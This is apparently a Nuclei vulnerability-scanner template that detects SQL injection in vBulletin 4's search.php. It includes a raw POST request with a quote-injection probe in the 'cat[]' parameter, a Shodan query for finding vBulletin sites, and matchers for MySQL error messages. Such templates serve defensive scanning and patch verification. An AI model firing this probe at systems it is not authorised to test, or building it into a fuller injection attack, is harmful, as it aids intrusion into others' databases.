id: vbulletin-search-sqli

info:
  name: vBulletin `Search.php` - SQL Injection
  author: MaStErChO
  severity: high
  description: |
    vBulletin 4 is vulnerable to an SQL injection vulnerability, which may allow an attacker can execute malicious SQL statements that control a web application's database server.
  remediation: Upgrade to the latest version of vBulletin.
  reference:
    - https://www.exploit-db.com/exploits/17314
    - https://web.archive.org/web/20181129123620/https://j0hnx3r.org/vbulletin-4-x-sql-injection-vulnerability/
  classification:
    cpe: cpe:2.3:a:vbulletin:vbulletin:*:*:*:*:*:*:*:*
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 1
    vendor: vbulletin
    product: vbulletin
    shodan-query: http.component:"vBulletin"
  tags: vbulletin,sqli,vuln

http:
  - raw:
      - |
        POST /search.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        contenttypeid=7&do=process&humanverify=1&cat[]=-1%27

    host-redirects: true
    max-redirects: 3
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "type=dberror"
          - "MySQL Error"
        condition: and

      - type: status
        status:
          - 200
          - 503
        condition: or
# digest: 490a0046304402204f50af649a0e4edb71ff575a7699d87270a7f9c74646cbafd06a6db91935a67602201f845e8c7f51f962d37d67397ea8d402f052a68113442b0dde24e84dd627fd54:922c64590222798bb761d5b6d8e72950